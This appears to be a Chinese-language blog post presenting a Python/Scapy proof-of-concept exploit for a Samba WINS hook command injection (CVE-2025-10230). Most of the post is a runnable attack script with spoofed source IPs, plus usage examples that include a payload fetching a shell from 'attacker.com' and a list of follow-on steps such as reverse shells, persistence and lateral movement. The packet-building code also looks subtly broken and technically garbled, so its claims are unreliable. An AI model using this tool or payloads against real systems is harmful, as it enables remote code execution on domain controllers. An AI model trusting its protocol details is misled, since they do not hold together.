Samba WINS 漏洞利用与防御全解析

15 阅读5分钟

Samba WINS 漏洞利用与防御全解析

项目标题与描述

CVE-2025-10230 PoC - Samba WINS Hook 命令注入漏洞验证工具

本项目是一个针对CVE-2025-10230漏洞的概念验证(PoC)脚本。该漏洞存在于Samba的WINS hook处理机制中,当Samba作为AD域控制器并启用WINS支持时,攻击者可通过注入恶意NetBIOS名称执行任意命令。

关键信息:

  • 严重程度:CRITICAL (CVSS 3.1: 10.0)
  • 漏洞类型:未授权远程代码执行(RCE) via 命令注入
  • 受影响版本:Samba 4.0+ 作为AD域控制器,且启用了WINS和wins hook
  • 发现时间:2025年10月由Igor Morgenstern报告

功能特性

核心功能

  • 恶意数据包构造:自动生成包含注入payload的WINS注册请求数据包
  • NetBIOS名称注入:通过未经验证的NetBIOS名称字段注入Shell命令
  • Scapy集成:使用Scapy库构建和发送自定义UDP数据包
  • 参数化payload:支持自定义Shell命令作为注入payload

技术特点

  • 协议模拟:模拟RFC 1002兼容的WINS名称注册协议
  • IP欺骗支持:可指定源IP地址进行数据包伪造
  • 详细输出:提供执行过程的详细状态信息和预期效果
  • 错误处理:包含基本的异常处理和用户反馈

使用场景

  • 安全研究人员验证漏洞存在性
  • 渗透测试人员评估Samba环境安全性
  • 安全运维人员理解攻击原理以加强防御
  • 教育培训中的网络安全实验环境

安装指南

系统要求

  • Python 3.x
  • Root/sudo权限(用于原始套接字访问)
  • Linux/Unix操作系统

依赖安装

# 安装Scapy网络数据包操作库
pip install scapy

# 或通过系统包管理器
sudo apt-get install python3-scapy  # Debian/Ubuntu
sudo yum install python3-scapy      # RHEL/CentOS

安装步骤

  1. 克隆或下载本PoC脚本
  2. 确保具有执行权限:
    chmod +x CVE-2025-10230.py
    
  3. 使用root权限运行(需要原始套接字):
    sudo python3 CVE-2025-10230.py <target_ip>
    

平台注意事项

  • 仅在Linux/Unix系统上测试
  • 需要配置正确的网络接口(默认为eth0)
  • 目标系统必须运行易受攻击的Samba配置
  • 重要:仅在授权的测试环境中使用

使用说明

基础用法

# 最基本用法:向目标发送默认payload
sudo python3 CVE-2025-10230.py 192.168.1.10

# 使用自定义payload
sudo python3 CVE-2025-10230.py 192.168.1.10 --payload "; wget http://attacker.com/shell -O /tmp/shell"

# 指定源IP和启用详细输出
sudo python3 CVE-2025-10230.py 192.168.1.10 --src_ip 192.168.1.100 --verbose

参数说明

  • target_ip:易受攻击的Samba AD域控制器IP地址(必需)
  • --payload:要注入的Shell命令(默认:; id > /tmp/injected_by_cve.txt 2>&1
  • --src_ip:数据包中使用的伪造源IP(默认:192.168.1.100)
  • --verbose:启用Scapy的详细输出模式

验证结果

成功利用后,检查目标系统:

  1. 查看命令执行结果:
    cat /tmp/injected_by_cve.txt
    
  2. 检查Samba日志:
    tail -f /var/log/samba/log.smbd
    

典型攻击场景

  1. 信息收集:执行idwhoami等命令获取系统信息
  2. 持久化访问:下载并执行反向Shell
  3. 权限提升:利用系统漏洞获取root权限
  4. 横向移动:从域控制器攻击域内其他系统

核心代码

1. 主函数与参数解析

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Author: B1ack4sh ==> IRtmVR00ISVkJPN1GQEMZ1VtVFRu
"""
PoC for CVE-2025-10230 - Samba WINS Hook Command Injection
===========================================================

This script demonstrates the command injection vulnerability in Samba's WINS hook
handling when running as an AD Domain Controller with WINS support enabled.

Usage:
    python3 CVE-2025-10230.py <target_ip> [--payload <cmd>] [--verbose]

Requirements:
    - scapy (pip install scapy)
    - Run as root/sudo for raw socket access

Vulnerability:
    Unsanitized NetBIOS names in WINS registrations are passed to the 'wins hook'
    script, allowing command injection via shell metacharacters.

Author: dptsec (based on Samba advisory)
License: For educational/testing purposes only.
⚠️  DO NOT USE ON PRODUCTION SYSTEMS!
"""

import argparse
import sys
from scapy.all import IP, UDP, send, Raw, sr1
from scapy.layers.inet import IP as IP_scapy
import socket
import struct

2. WINS注册数据包构造函数

def craft_wins_registration_packet(nb_name: str, src_ip: str = "127.0.0.1", target_ip: str = None):
    """
    Crafts a WINS Name Registration Request packet with injected NB name.
    
    WINS Protocol (RFC 1002 compliant, simplified for registration).
    OpCode: 0x0B (Register)
    NB Name: Padded to 15 chars + null, but injection via trailing metachars.
    """
    # Transaction ID (arbitrary)
    transaction_id = struct.pack('>H', 0x1234)
    
    # Flags: Standard query (0x0000), OpCode Register (0x0B in high bits, but simplified)
    flags = struct.pack('>H', 0x000B)  # B-node, Register
    
    # Questions: 1
    questions = struct.pack('>H', 1)
    # Answer RRs: 0
    answer_rrs = struct.pack('>H', 0)
    # Authority RRs: 0
    authority_rrs = struct.pack('>H', 0)
    # Additional RRs: 0
    additional_rrs = struct.pack('>H', 0)
    
    # Header
    header = transaction_id + flags + questions + answer_rrs + authority_rrs + additional_rrs
    
    # Question Section: NetBIOS Name
    # NB Name encoding: 18 chars of 0xC0 (labels) + length + name chars (0x41 base32-ish, but raw for injection)
    # For vuln: Use raw string with shell chars – vuln doesn't validate.
    nb_raw = nb_name.encode('ascii')[:15].ljust(15, b'\x00')  # Truncate/pad to 15
    nb_section = b'\xC0' * 2 + struct.pack('B', len(nb_raw)) + nb_raw + b'\x00'  # Compressed pointer hack + name
    
    # QType: NB (0x0020), QClass: IN (0x0001)
    qtype = struct.pack('>H', 0x0020)
    qclass = struct.pack('>H', 0x0001)
    
    question = nb_section + qtype + qclass
    
    # No answers for registration request
    packet_payload = header + question
    
    # Wrap in UDP/IP
    ip_layer = IP_scapy(src=src_ip, dst=target_ip)
    udp_layer = UDP(sport=137, dport=42)  # NBNS src, WINS dst (UDP/42 for WINS)
    full_packet = ip_layer / udp_layer / Raw(load=packet_payload)
    
    return full_packet

3. 主执行流程

def main():
    parser = argparse.ArgumentParser(description="CVE-2025-10230 PoC - Samba WINS Injection")
    parser.add_argument("target_ip", help="IP of vulnerable Samba AD DC")
    parser.add_argument("--payload", default="; id > /tmp/injected_by_cve.txt 2>&1", 
                        help="Shell command to inject (appended after fake NB name)")
    parser.add_argument("--src_ip", default="192.168.1.100", help="Spoofed source IP in packet")
    parser.add_argument("--verbose", "-v", action="store_true", help="Verbose Scapy output")
    args = parser.parse_args()
    
    # Construct malicious NB name: Fake + payload (keep NB part short)
    fake_nb = "POC-"  # Legit-looking prefix
    malicious_name = fake_nb + args.payload[:10]  # Truncate to fit ~15 char NB limit, but vuln allows overflow-ish
    
    print(f"🔥 CVE-2025-10230 PoC Launching...")
    print(f"🎯 Target: {args.target_ip} (UDP/42 - WINS)")
    print(f"💉 Malicious NB Name: '{malicious_name}'")
    print(f"📝 Expected on Target: Execution of '{args.payload}' via hook script")
    print(f"🕵️  Post-exploit: Check target /tmp/injected_by_cve.txt or /var/log/samba/log.smbd")
    print("-" * 60)
    
    try:
        pkt = craft_wins_registration_packet(malicious_name, args.src_ip, args.target_ip)
        send(pkt, verbose=args.verbose, iface="eth0")  # Adjust iface if needed
        print("💥 Packet sent! If vulnerable, hook should fire. Monitor target logs/FS. 🚨")
    except Exception as e:
        print(f"❌ Error sending packet: {e}")
        sys.exit(1)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: sudo python3 CVE-2025-10230.py <target_ip> [--payload ';cmd']")
        sys.exit(1)
    main()

6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ5xSrVUGT9nI1uf8R2+ZD25